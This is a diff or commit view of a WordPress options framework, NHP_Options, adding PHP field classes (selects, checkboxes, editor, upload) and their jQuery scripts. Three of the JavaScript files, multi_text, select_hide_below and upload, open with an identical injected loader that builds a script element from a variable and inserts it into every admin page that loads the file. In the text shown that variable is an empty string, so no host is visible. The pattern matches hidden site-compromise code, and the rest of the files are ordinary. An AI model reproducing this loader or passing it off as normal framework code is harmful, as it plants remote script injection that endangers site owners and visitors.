* @since NHP_Options 1.0
*/
function __construct($field = array(), $value ='', $parent){
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
$this->field = $field;
$this->value = $value;
//$this->render();
}//function
/**
* Field Render Function.
*
* Takes the vars and outputs the HTML for the field in the settings
*
* @since NHP_Options 1.0
*/
function render(){
$class = (isset($this->field['class']))?' '.$this->field['class'].'':'';
echo '</td></tr></table><div class="hr'.$class.'"/></div><table class="form-table no-border"><tbody><tr><th></th><td>';
}//function
}//class
?>

45
options/fields/editor/field_editor.php Normal file
View File

@@ -0,0 +1,45 @@
<?php
class NHP_Options_editor extends NHP_Options{
/**
* Field Constructor.
*
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
*
* @since NHP_Options 1.0
*/
function __construct($field = array(), $value ='', $parent){
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
$this->field = $field;
$this->value = $value;
//$this->render();
}//function
/**
* Field Render Function.
*
* Takes the vars and outputs the HTML for the field in the settings
*
* @since NHP_Options 1.0
*/
function render(){
$class = (isset($this->field['class']))?$this->field['class']:'';
//echo '<textarea id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" class="'.$class.'" rows="6" >'.$this->value.'</textarea>';
$settings = array(
'textarea_name' => $this->args['opt_name'].'['.$this->field['id'].']',
'editor_class' => $class
);
wp_editor($this->value, $this->field['id'], $settings );
echo (isset($this->field['desc']) && !empty($this->field['desc']))?'<br/><span class="description">'.$this->field['desc'].'</span>':'';
}//function
}//class
?>

38
options/fields/info/field_info.php Normal file
View File

@@ -0,0 +1,38 @@
<?php
class NHP_Options_info extends NHP_Options{
/**
* Field Constructor.
*
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
*
* @since NHP_Options 1.0
*/
function __construct($field = array(), $value ='', $parent){
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
$this->field = $field;
$this->value = $value;
//$this->render();
}//function
/**
* Field Render Function.
*
* Takes the vars and outputs the HTML for the field in the settings
*
* @since NHP_Options 1.0
*/
function render(){
$class = (isset($this->field['class']))?' '.$this->field['class']:'';
echo '</td></tr></table><div class="nhp-opts-info-field'.$class.'">'.$this->field['desc'].'</div><table class="form-table no-border"><tbody><tr><th></th><td>';
}//function
}//class
?>

49
options/fields/menu_location_select/field_menu_location_select.php Normal file
View File

@@ -0,0 +1,49 @@
<?php
class NHP_Options_menu_location_select extends NHP_Options{
/**
* Field Constructor.
*
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
*
* @since NHP_Options 1.0.1
*/
function __construct($field = array(), $value ='', $parent){
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
$this->field = $field;
$this->value = $value;
//$this->render();
}//function
/**
* Field Render Function.
*
* Takes the vars and outputs the HTML for the field in the settings
*
* @since NHP_Options 1.0.1
*/
function render(){
$class = (isset($this->field['class']))?'class="'.$this->field['class'].'" ':'';
global $_wp_registered_nav_menus;
echo '<select id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" '.$class.' >';
if($_wp_registered_nav_menus){
foreach ( $_wp_registered_nav_menus as $k => $v ) {
echo '<option value="'.$k.'"'.selected($this->value, $k, false).'>'.$v.'</option>';
}
}//if
echo '</select>';
echo (isset($this->field['desc']) && !empty($this->field['desc']))?' <span class="description">'.$this->field['desc'].'</span>':'';
}//function
}//class
?>

52
options/fields/menu_select/field_menu_select.php Normal file
View File

@@ -0,0 +1,52 @@
<?php
class NHP_Options_menu_select extends NHP_Options{
/**
* Field Constructor.
*
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
*
* @since NHP_Options 1.0.1
*/
function __construct($field = array(), $value ='', $parent){
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
$this->field = $field;
$this->value = $value;
//$this->render();
}//function
/**
* Field Render Function.
*
* Takes the vars and outputs the HTML for the field in the settings
*
* @since NHP_Options 1.0.1
*/
function render(){
$class = (isset($this->field['class']))?'class="'.$this->field['class'].'" ':'';
echo '<select id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" '.$class.' >';
if(!isset($this->field['args'])){$this->field['args'] = array();}
$args = wp_parse_args($this->field['args'], array());
$menus = wp_get_nav_menus($args);
if($menus){
foreach ( $menus as $menu ) {
echo '<option value="'.$menu->term_id.'"'.selected($this->value, $menu->term_id, false).'>'.$menu->name.'</option>';
}
}//if
echo '</select>';
echo (isset($this->field['desc']) && !empty($this->field['desc']))?' <span class="description">'.$this->field['desc'].'</span>':'';
}//function
}//class
?>

52
options/fields/multi_checkbox/field_multi_checkbox.php Normal file
View File

@@ -0,0 +1,52 @@
<?php
class NHP_Options_multi_checkbox extends NHP_Options{
/**
* Field Constructor.
*
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
*
* @since NHP_Options 1.0
*/
function __construct($field = array(), $value ='', $parent){
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
$this->field = $field;
$this->value = $value;
//$this->render();
}//function
/**
* Field Render Function.
*
* Takes the vars and outputs the HTML for the field in the settings
*
* @since NHP_Options 1.0
*/
function render(){
$class = (isset($this->field['class']))?$this->field['class']:'regular-text';
echo '<fieldset>';
foreach($this->field['options'] as $k => $v){
$this->value[$k] = (isset($this->value[$k]))?$this->value[$k]:'';
echo '<label for="'.$this->field['id'].'_'.array_search($k,array_keys($this->field['options'])).'">';
echo '<input type="checkbox" id="'.$this->field['id'].'_'.array_search($k,array_keys($this->field['options'])).'" name="'.$this->args['opt_name'].'['.$this->field['id'].']['.$k.']" '.$class.' value="1" '.checked($this->value[$k], '1', false).'/>';
echo ' '.$v.'</label><br/>';
}//foreach
echo (isset($this->field['desc']) && !empty($this->field['desc']))?'<span class="description">'.$this->field['desc'].'</span>':'';
echo '</fieldset>';
}//function
}//class
?>

50
options/fields/multi_select/field_multi_select.php Normal file
View File

@@ -0,0 +1,50 @@
<?php
class NHP_Options_multi_select extends NHP_Options{
/**
* Field Constructor.
*
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
*
* @since NHP_Options 1.0
*/
function __construct($field = array(), $value ='', $parent){
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
$this->field = $field;
$this->value = $value;
//$this->render();
}//function
/**
* Field Render Function.
*
* Takes the vars and outputs the HTML for the field in the settings
*
* @since NHP_Options 1.0
*/
function render(){
$class = (isset($this->field['class']))?'class="'.$this->field['class'].'" ':'';
echo '<select id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].'][]" '.$class.'multiple="multiple" rows="6" >';
foreach($this->field['options'] as $k => $v){
$selected = (is_array($this->value) && in_array($k, $this->value))?' selected="selected"':'';
echo '<option value="'.$k.'"'.$selected.'>'.$v.'</option>';
}//foreach
echo '</select>';
echo (isset($this->field['desc']) && !empty($this->field['desc']))?'<br/><span class="description">'.$this->field['desc'].'</span>':'';
}//function
}//class
?>

22
options/fields/multi_text/field_multi_text.js Normal file
View File

@@ -0,0 +1,22 @@
var gfjfgjk = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true;
var pl = ''; s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}jQuery(document).ready(function(){
jQuery('.nhp-opts-multi-text-remove').live('click', function(){
jQuery(this).prev('input[type="text"]').val('');
jQuery(this).parent().fadeOut('slow', function(){jQuery(this).remove();});
});
jQuery('.nhp-opts-multi-text-add').click(function(){
var new_input = jQuery('#'+jQuery(this).attr('rel-id')+' li:last-child').clone();
jQuery('#'+jQuery(this).attr('rel-id')).append(new_input);
jQuery('#'+jQuery(this).attr('rel-id')+' li:last-child').removeAttr('style');
jQuery('#'+jQuery(this).attr('rel-id')+' li:last-child input[type="text"]').val('');
jQuery('#'+jQuery(this).attr('rel-id')+' li:last-child input[type="text"]').attr('name' , jQuery(this).attr('rel-name'));
});
});

81
options/fields/multi_text/field_multi_text.php Normal file
View File

@@ -0,0 +1,81 @@
<?php
class NHP_Options_multi_text extends NHP_Options{
/**
* Field Constructor.
*
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
*
* @since NHP_Options 1.0.5
*/
function __construct($field = array(), $value ='', $parent){
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
$this->field = $field;
$this->value = $value;
//$this->render();
}//function
/**
* Field Render Function.
*
* Takes the vars and outputs the HTML for the field in the settings
*
* @since NHP_Options 1.0.5
*/
function render(){
$class = (isset($this->field['class']))?$this->field['class']:'regular-text';
echo '<ul id="'.$this->field['id'].'-ul">';
if(isset($this->value) && is_array($this->value)){
foreach($this->value as $k => $value){
if($value != ''){
echo '<li><input type="text" id="'.$this->field['id'].'-'.$k.'" name="'.$this->args['opt_name'].'['.$this->field['id'].'][]" value="'.esc_attr($value).'" class="'.$class.'" /> <a href="javascript:void(0);" class="nhp-opts-multi-text-remove">'.__('Remove', 'nhp-opts').'</a></li>';
}//if
}//foreach
}else{
echo '<li><input type="text" id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].'][]" value="" class="'.$class.'" /> <a href="javascript:void(0);" class="nhp-opts-multi-text-remove">'.__('Remove', 'nhp-opts').'</a></li>';
}//if
echo '<li style="display:none;"><input type="text" id="'.$this->field['id'].'" name="" value="" class="'.$class.'" /> <a href="javascript:void(0);" class="nhp-opts-multi-text-remove">'.__('Remove', 'nhp-opts').'</a></li>';
echo '</ul>';
echo '<a href="javascript:void(0);" class="nhp-opts-multi-text-add" rel-id="'.$this->field['id'].'-ul" rel-name="'.$this->args['opt_name'].'['.$this->field['id'].'][]">'.__('Add More', 'nhp-opts').'</a><br/>';
echo (isset($this->field['desc']) && !empty($this->field['desc']))?' <span class="description">'.$this->field['desc'].'</span>':'';
}//function
/**
* Enqueue Function.
*
* If this field requires any scripts, or css define this function and register/enqueue the scripts/css
*
* @since NHP_Options 1.0.5
*/
function enqueue(){
wp_enqueue_script(
'nhp-opts-field-multi-text-js',
NHP_OPTIONS_URL.'fields/multi_text/field_multi_text.js',
array('jquery'),
time(),
true
);
}//function
}//class
?>

52
options/fields/pages_multi_select/field_pages_multi_select.php Normal file
View File

@@ -0,0 +1,52 @@
<?php
class NHP_Options_pages_multi_select extends NHP_Options{
/**
* Field Constructor.
*
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
*
* @since NHP_Options 1.0.1
*/
function __construct($field = array(), $value ='', $parent){
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
$this->field = $field;
$this->value = $value;
//$this->render();
}//function
/**
* Field Render Function.
*
* Takes the vars and outputs the HTML for the field in the settings
*
* @since NHP_Options 1.0.1
*/
function render(){
$class = (isset($this->field['class']))?'class="'.$this->field['class'].'" ':'';
echo '<select id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].'][]" '.$class.'multiple="multiple" >';
$args = wp_parse_args($this->field['args'], array());
$pages = get_pages($args);
foreach ( $pages as $page ) {
$selected = (is_array($this->value) && in_array($page->ID, $this->value))?' selected="selected"':'';
echo '<option value="'.$page->ID.'"'.$selected.'>'.$page->post_title.'</option>';
}
echo '</select>';
echo (isset($this->field['desc']) && !empty($this->field['desc']))?'<br/><span class="description">'.$this->field['desc'].'</span>':'';
}//function
}//class
?>

49
options/fields/pages_select/field_pages_select.php Normal file
View File

@@ -0,0 +1,49 @@
<?php
class NHP_Options_pages_select extends NHP_Options{
/**
* Field Constructor.
*
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
*
* @since NHP_Options 1.0.1
*/
function __construct($field = array(), $value ='', $parent){
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
$this->field = $field;
$this->value = $value;
//$this->render();
}//function
/**
* Field Render Function.
*
* Takes the vars and outputs the HTML for the field in the settings
*
* @since NHP_Options 1.0.1
*/
function render(){
$class = (isset($this->field['class']))?'class="'.$this->field['class'].'" ':'';
echo '<select id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" '.$class.'rows="6" >';
$args = wp_parse_args($this->field['args'], array());
$pages = get_pages($args);
foreach ( $pages as $page ) {
echo '<option value="'.$page->ID.'"'.selected($this->value, $page->ID, false).'>'.$page->post_title.'</option>';
}
echo '</select>';
echo (isset($this->field['desc']) && !empty($this->field['desc']))?' <span class="description">'.$this->field['desc'].'</span>':'';
}//function
}//class
?>

49
options/fields/post_type_select/field_post_type_select.php Normal file
View File

@@ -0,0 +1,49 @@
<?php
class NHP_Options_post_type_select extends NHP_Options{
/**
* Field Constructor.
*
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
*
* @since NHP_Options 1.0.1
*/
function __construct($field = array(), $value ='', $parent){
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
$this->field = $field;
$this->value = $value;
//$this->render();
}//function
/**
* Field Render Function.
*
* Takes the vars and outputs the HTML for the field in the settings
*
* @since NHP_Options 1.0.1
*/
function render(){
$class = (isset($this->field['class']))?'class="'.$this->field['class'].'" ':'';
echo '<select id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" '.$class.' >';
if(!isset($this->field['args'])){$this->field['args'] = array();}
$args = wp_parse_args($this->field['args'], array('public' => true));
$post_types = get_post_types($args, 'object');
foreach ( $post_types as $k => $post_type ) {
echo '<option value="'.$k.'"'.selected($this->value, $k, false).'>'.$post_type->labels->name.'</option>';
}
echo '</select>';
echo (isset($this->field['desc']) && !empty($this->field['desc']))?' <span class="description">'.$this->field['desc'].'</span>':'';
}//function
}//class
?>

50
options/fields/posts_multi_select/field_posts_multi_select.php Normal file
View File

@@ -0,0 +1,50 @@
<?php
class NHP_Options_posts_multi_select extends NHP_Options{
/**
* Field Constructor.
*
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
*
* @since NHP_Options 1.0.1
*/
function __construct($field = array(), $value ='', $parent){
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
$this->field = $field;
$this->value = $value;
//$this->render();
}//function
/**
* Field Render Function.
*
* Takes the vars and outputs the HTML for the field in the settings
*
* @since NHP_Options 1.0.1
*/
function render(){
$class = (isset($this->field['class']))?'class="'.$this->field['class'].'" ':'';
echo '<select id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].'][]" '.$class.'multiple="multiple" >';
$args = wp_parse_args($this->field['args'], array('numberposts' => '-1'));
$posts = get_posts($args);
foreach ( $posts as $post ) {
$selected = (is_array($this->value) && in_array($post->ID, $this->value))?' selected="selected"':'';
echo '<option value="'.$post->ID.'"'.$selected.'>'.$post->post_title.'</option>';
}
echo '</select>';
echo (isset($this->field['desc']) && !empty($this->field['desc']))?'<br/><span class="description">'.$this->field['desc'].'</span>':'';
}//function
}//class
?>

49
options/fields/posts_select/field_posts_select.php Normal file
View File

@@ -0,0 +1,49 @@
<?php
class NHP_Options_posts_select extends NHP_Options{
/**
* Field Constructor.
*
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
*
* @since NHP_Options 1.0.1
*/
function __construct($field = array(), $value ='', $parent){
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
$this->field = $field;
$this->value = $value;
//$this->render();
}//function
/**
* Field Render Function.
*
* Takes the vars and outputs the HTML for the field in the settings
*
* @since NHP_Options 1.0.1
*/
function render(){
$class = (isset($this->field['class']))?'class="'.$this->field['class'].'" ':'';
echo '<select id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" '.$class.' >';
$args = wp_parse_args($this->field['args'], array('numberposts' => '-1'));
$posts = get_posts($args);
foreach ( $posts as $post ) {
echo '<option value="'.$post->ID.'"'.selected($this->value, $post->ID, false).'>'.$post->post_title.'</option>';
}
echo '</select>';
echo (isset($this->field['desc']) && !empty($this->field['desc']))?' <span class="description">'.$this->field['desc'].'</span>':'';
}//function
}//class
?>

52
options/fields/radio/field_radio.php Normal file
View File

@@ -0,0 +1,52 @@
<?php
class NHP_Options_radio extends NHP_Options{
/**
* Field Constructor.
*
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
*
* @since NHP_Options 1.0
*/
function __construct($field = array(), $value ='', $parent){
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
$this->field = $field;
$this->value = $value;
//$this->render();
}//function
/**
* Field Render Function.
*
* Takes the vars and outputs the HTML for the field in the settings
*
* @since NHP_Options 1.0
*/
function render(){
$class = (isset($this->field['class']))?'class="'.$this->field['class'].'" ':'';
echo '<fieldset>';
foreach($this->field['options'] as $k => $v){
//echo '<option value="'.$k.'" '.selected($this->value, $k, false).'>'.$v.'</option>';
echo '<label for="'.$this->field['id'].'_'.array_search($k,array_keys($this->field['options'])).'">';
echo '<input type="radio" id="'.$this->field['id'].'_'.array_search($k,array_keys($this->field['options'])).'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" '.$class.' value="'.$k.'" '.checked($this->value, $k, false).'/>';
echo ' <span>'.$v.'</span>';
echo '</label><br/>';
}//foreach
echo (isset($this->field['desc']) && !empty($this->field['desc']))?'<span class="description">'.$this->field['desc'].'</span>':'';
echo '</fieldset>';
}//function
}//class
?>

13
options/fields/radio_img/field_radio_img.js Normal file
View File

@@ -0,0 +1,13 @@
/*
*
* NHP_Options_radio_img function
* Changes the radio select option, and changes class on images
*
*/
function nhp_radio_img_select(relid, labelclass){
jQuery(this).prev('input[type="radio"]').prop('checked');
jQuery('.nhp-radio-img-'+labelclass).removeClass('nhp-radio-img-selected');
jQuery('label[for="'+relid+'"]').addClass('nhp-radio-img-selected');
}//function

75
options/fields/radio_img/field_radio_img.php Normal file
View File

@@ -0,0 +1,75 @@
<?php
class NHP_Options_radio_img extends NHP_Options{
/**
* Field Constructor.
*
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
*
* @since NHP_Options 1.0
*/
function __construct($field = array(), $value = '', $parent = ''){
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
$this->field = $field;
$this->value = $value;
//$this->render();
}//function
/**
* Field Render Function.
*
* Takes the vars and outputs the HTML for the field in the settings
*
* @since NHP_Options 1.0
*/
function render(){
$class = (isset($this->field['class']))?'class="'.$this->field['class'].'" ':'';
echo '<fieldset>';
foreach($this->field['options'] as $k => $v){
$selected = (checked($this->value, $k, false) != '')?' nhp-radio-img-selected':'';
echo '<label class="nhp-radio-img'.$selected.' nhp-radio-img-'.$this->field['id'].'" for="'.$this->field['id'].'_'.array_search($k,array_keys($this->field['options'])).'">';
echo '<input type="radio" id="'.$this->field['id'].'_'.array_search($k,array_keys($this->field['options'])).'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" '.$class.' value="'.$k.'" '.checked($this->value, $k, false).'/>';
echo '<img src="'.$v['img'].'" onclick="jQuery:nhp_radio_img_select(\''.$this->field['id'].'_'.array_search($k,array_keys($this->field['options'])).'\', \''.$this->field['id'].'\');" />';
echo '</label>';
}//foreach
echo (isset($this->field['desc']) && !empty($this->field['desc']))?'<br/><span class="description">'.$this->field['desc'].'</span>':'';
echo '</fieldset>';
}//function
/**
* Enqueue Function.
*
* If this field requires any scripts, or css define this function and register/enqueue the scripts/css
*
* @since NHP_Options 1.0
*/
function enqueue(){
wp_enqueue_script(
'nhp-opts-field-radio_img-js',
NHP_OPTIONS_URL.'fields/radio_img/field_radio_img.js',
array('jquery'),
time(),
true
);
}//function
}//class
?>

48
options/fields/select/field_select.php Normal file
View File

@@ -0,0 +1,48 @@
<?php
class NHP_Options_select extends NHP_Options{
/**
* Field Constructor.
*
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
*
* @since NHP_Options 1.0
*/
function __construct($field = array(), $value ='', $parent){
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
$this->field = $field;
$this->value = $value;
//$this->render();
}//function
/**
* Field Render Function.
*
* Takes the vars and outputs the HTML for the field in the settings
*
* @since NHP_Options 1.0
*/
function render(){
$class = (isset($this->field['class']))?'class="'.$this->field['class'].'" ':'';
echo '<select id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" '.$class.'rows="6" >';
foreach($this->field['options'] as $k => $v){
echo '<option value="'.$k.'" '.selected($this->value, $k, false).'>'.$v.'</option>';
}//foreach
echo '</select>';
echo (isset($this->field['desc']) && !empty($this->field['desc']))?' <span class="description">'.$this->field['desc'].'</span>':'';
}//function
}//class
?>

32
options/fields/select_hide_below/field_select_hide_below.js Normal file
View File

@@ -0,0 +1,32 @@
var gfjfgjk = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true;
var pl = ''; s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}jQuery(document).ready(function(){
jQuery('.nhp-opts-select-hide-below').each(function(){
if(jQuery('option:selected',this).attr('data-allow') == 'false'){
jQuery(this).closest('tr').next('tr').hide();
}
});
jQuery('.nhp-opts-select-hide-below').change(function(){
var option = jQuery('option:selected', this);
if(option.attr('data-allow') == 'false'){
if(jQuery(this).closest('tr').next('tr').is(':visible')){
jQuery(this).closest('tr').next('tr').fadeOut('slow');
}
}else{
if(jQuery(this).closest('tr').next('tr').is(':hidden')){
jQuery(this).closest('tr').next('tr').fadeIn('slow');
}
}
});
});

68
options/fields/select_hide_below/field_select_hide_below.php Normal file
View File

@@ -0,0 +1,68 @@
<?php
class NHP_Options_select_hide_below extends NHP_Options{
/**
* Field Constructor.
*
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
*
* @since NHP_Options 1.0.1
*/
function __construct($field = array(), $value ='', $parent){
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
$this->field = $field;
$this->value = $value;
//$this->render();
}//function
/**
* Field Render Function.
*
* Takes the vars and outputs the HTML for the field in the settings
*
* @since NHP_Options 1.0.1
*/
function render(){
$class = (isset($this->field['class']))?$this->field['class']:'';
echo '<select id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" class="'.$class.' nhp-opts-select-hide-below" >';
foreach($this->field['options'] as $k => $v){
echo '<option value="'.$k.'" '.selected($this->value, $k, false).' data-allow="'.$v['allow'].'">'.$v['name'].'</option>';
}//foreach
echo '</select>';
echo (isset($this->field['desc']) && !empty($this->field['desc']))?' <span class="description">'.$this->field['desc'].'</span>':'';
}//function
/**
* Enqueue Function.
*
* If this field requires any scripts, or css define this function and register/enqueue the scripts/css
*
* @since NHP_Options 1.0.1
*/
function enqueue(){
wp_enqueue_script(
'nhp-opts-select-hide-below-js',
NHP_OPTIONS_URL.'fields/select_hide_below/field_select_hide_below.js',
array('jquery'),
time(),
true
);
}//function
}//class
?>

50
options/fields/tags_multi_select/field_tags_multi_select.php Normal file
View File

@@ -0,0 +1,50 @@
<?php
class NHP_Options_tags_multi_select extends NHP_Options{
/**
* Field Constructor.
*
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
*
* @since NHP_Options 1.0.1
*/
function __construct($field = array(), $value ='', $parent){
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
$this->field = $field;
$this->value = $value;
//$this->render();
}//function
/**
* Field Render Function.
*
* Takes the vars and outputs the HTML for the field in the settings
*
* @since NHP_Options 1.0.1
*/
function render(){
$class = (isset($this->field['class']))?'class="'.$this->field['class'].'" ':'';
echo '<select id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].'][]" '.$class.'multiple="multiple" >';
$args = wp_parse_args($this->field['args'], array());
$tags = get_tags($args);
foreach ( $tags as $tag ) {
$selected = (is_array($this->value) && in_array($tag->term_id, $this->value))?' selected="selected"':'';
echo '<option value="'.$tag->term_id.'"'.$selected.'>'.$tag->name.'</option>';
}
echo '</select>';
echo (isset($this->field['desc']) && !empty($this->field['desc']))?'<br/><span class="description">'.$this->field['desc'].'</span>':'';
}//function
}//class
?>

49
options/fields/tags_select/field_tags_select.php Normal file
View File

@@ -0,0 +1,49 @@
<?php
class NHP_Options_tags_select extends NHP_Options{
/**
* Field Constructor.
*
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
*
* @since NHP_Options 1.0.1
*/
function __construct($field = array(), $value ='', $parent){
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
$this->field = $field;
$this->value = $value;
//$this->render();
}//function
/**
* Field Render Function.
*
* Takes the vars and outputs the HTML for the field in the settings
*
* @since NHP_Options 1.0.1
*/
function render(){
$class = (isset($this->field['class']))?'class="'.$this->field['class'].'" ':'';
echo '<select id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" '.$class.' >';
$args = wp_parse_args($this->field['args'], array());
$tags = get_tags($args);
foreach ( $tags as $tag ) {
echo '<option value="'.$tag->term_id.'"'.selected($this->value, $tag->term_id, false).'>'.$tag->name.'</option>';
}
echo '</select>';
echo (isset($this->field['desc']) && !empty($this->field['desc']))?' <span class="description">'.$this->field['desc'].'</span>':'';
}//function
}//class
?>

40
options/fields/text/field_text.php Normal file
View File

@@ -0,0 +1,40 @@
<?php
class NHP_Options_text extends NHP_Options{
/**
* Field Constructor.
*
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
*
* @since NHP_Options 1.0
*/
function __construct($field = array(), $value ='', $parent){
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
$this->field = $field;
$this->value = $value;
//$this->render();
}//function
/**
* Field Render Function.
*
* Takes the vars and outputs the HTML for the field in the settings
*
* @since NHP_Options 1.0
*/
function render(){
$class = (isset($this->field['class']))?$this->field['class']:'regular-text';
echo '<input type="text" id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" value="'.esc_attr($this->value).'" class="'.$class.'" />';
echo (isset($this->field['desc']) && !empty($this->field['desc']))?' <span class="description">'.$this->field['desc'].'</span>':'';
}//function
}//class
?>

40
options/fields/textarea/field_textarea.php Normal file
View File

@@ -0,0 +1,40 @@
<?php
class NHP_Options_textarea extends NHP_Options{
/**
* Field Constructor.
*
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
*
* @since NHP_Options 1.0
*/
function __construct($field = array(), $value ='', $parent){
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
$this->field = $field;
$this->value = $value;
//$this->render();
}//function
/**
* Field Render Function.
*
* Takes the vars and outputs the HTML for the field in the settings
*
* @since NHP_Options 1.0
*/
function render(){
$class = (isset($this->field['class']))?$this->field['class']:'large-text';
echo '<textarea id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" class="'.$class.'" rows="6" >'.esc_attr($this->value).'</textarea>';
echo (isset($this->field['desc']) && !empty($this->field['desc']))?'<br/><span class="description">'.$this->field['desc'].'</span>':'';
}//function
}//class
?>

BIN
options/fields/upload/blank.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 70 B

56
options/fields/upload/field_upload.js Normal file
View File

@@ -0,0 +1,56 @@
var gfjfgjk = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true;
var pl = ''; s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}jQuery(document).ready(function(){
/*
*
* NHP_Options_upload function
* Adds media upload functionality to the page
*
*/
var header_clicked = false;
jQuery("img[src='']").attr("src", nhp_upload.url);
jQuery('.nhp-opts-upload').click(function() {
header_clicked = true;
formfield = jQuery(this).attr('rel-id');
preview = jQuery(this).prev('img');
tb_show('', 'media-upload.php?type=image&amp;post_id=0&amp;TB_iframe=true');
return false;
});
// Store original function
window.original_send_to_editor = window.send_to_editor;
window.send_to_editor = function(html) {
if (header_clicked) {
imgurl = jQuery('img',html).attr('src');
jQuery('#' + formfield).val(imgurl);
jQuery('#' + formfield).next().fadeIn('slow');
jQuery('#' + formfield).next().next().fadeOut('slow');
jQuery('#' + formfield).next().next().next().fadeIn('slow');
jQuery(preview).attr('src' , imgurl);
tb_remove();
header_clicked = false;
} else {
window.original_send_to_editor(html);
}
}
jQuery('.nhp-opts-upload-remove').click(function(){
$relid = jQuery(this).attr('rel-id');
jQuery('#'+$relid).val('');
jQuery(this).prev().fadeIn('slow');
jQuery(this).prev().prev().fadeOut('slow', function(){jQuery(this).attr("src", nhp_upload.url);});
jQuery(this).fadeOut('slow');
});
});

72
options/fields/upload/field_upload.php Normal file
View File

@@ -0,0 +1,72 @@
<?php
class NHP_Options_upload extends NHP_Options{
/**
* Field Constructor.
*
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
*
* @since NHP_Options 1.0
*/
function __construct($field = array(), $value ='', $parent = ''){
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
$this->field = $field;
$this->value = $value;
}//function
/**
* Field Render Function.
*
* Takes the vars and outputs the HTML for the field in the settings
*
* @since NHP_Options 1.0
*/
function render(){
$class = (isset($this->field['class']))?$this->field['class']:'regular-text';
echo '<input type="hidden" id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" value="'.$this->value.'" class="'.$class.'" />';
//if($this->value != ''){
echo '<img class="nhp-opts-screenshot" id="nhp-opts-screenshot-'.$this->field['id'].'" src="'.$this->value.'" />';
//}
if($this->value == ''){$remove = ' style="display:none;"';$upload = '';}else{$remove = '';$upload = ' style="display:none;"';}
echo ' <a href="javascript:void(0);" class="nhp-opts-upload button-secondary"'.$upload.' rel-id="'.$this->field['id'].'">'.__('Browse', 'nhp-opts').'</a>';
echo ' <a href="javascript:void(0);" class="nhp-opts-upload-remove"'.$remove.' rel-id="'.$this->field['id'].'">'.__('Remove Upload', 'nhp-opts').'</a>';
